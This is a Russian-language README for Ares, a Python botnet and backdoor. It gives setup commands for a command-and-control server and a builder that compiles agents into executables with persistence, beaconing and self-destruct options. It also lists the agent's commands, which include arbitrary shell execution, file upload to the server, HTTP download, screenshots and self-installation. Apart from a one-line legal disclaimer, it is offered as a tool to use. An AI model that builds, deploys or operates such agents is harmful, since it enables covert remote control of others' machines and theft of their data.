
Python ботнет и бэкдор
Ares — это инструмент удалённого доступа на Python.
Предупреждение: Используйте это программное обеспечение только в соответствии с действующим законодательством. Неправильное использование может вызвать юридические и этические проблемы, которые я не поддерживаю и за которые не несу ответственности.
Ares состоит из двух основных программ:
Веб-интерфейс может быть запущен на любом сервере с Python. Агент может быть скомпилирован в нативные исполняемые файлы с помощью pyinstaller.
Установите зависимости Python:
pip install -r requirements.txt
Инициализируйте базу данных:
cd server
./ares.py initdb
Чтобы скомпилировать агенты для Windows на Linux, настройте wine (опционально):
./wine_setup.sh
Запустите со встроенным (отладочным) сервером:
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
Или запустите с помощью gunicorn:
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
Теперь сервер должен быть доступен по адресу http://localhost:8080
Запустите Python-агента (отредактируйте config.py по своему усмотрению):
cd agent
./agent.py
Соберите нового агента в автономный бинарный файл:
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
Чтобы увидеть список поддерживаемых опций, выполните ./builder.py -h
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
[--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
[--max_failed_connections MAX_FAILED_CONNECTIONS]
[--persistent]
Builds an Ares agent.
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Target platform (Windows, Linux).
--server SERVER Address of the CnC server (e.g http://localhost:8080).
-o OUTPUT, --output OUTPUT
Output file name.
--hello-interval HELLO_INTERVAL
Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
Inactivity time (in seconds) after which to go idle.
In idle mode, the agent pulls commands less often
(every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
The agent will self destruct if no contact with the
CnC can be made <max_failed_connections> times in a
row.
--persistent Automatically install the agent on first run.
<any shell command>
Executes the command in a shell and return its output.
upload <local_file>
Uploads <local_file> to server.
download <url> <destination>
Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python <command|file>
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
help
This help.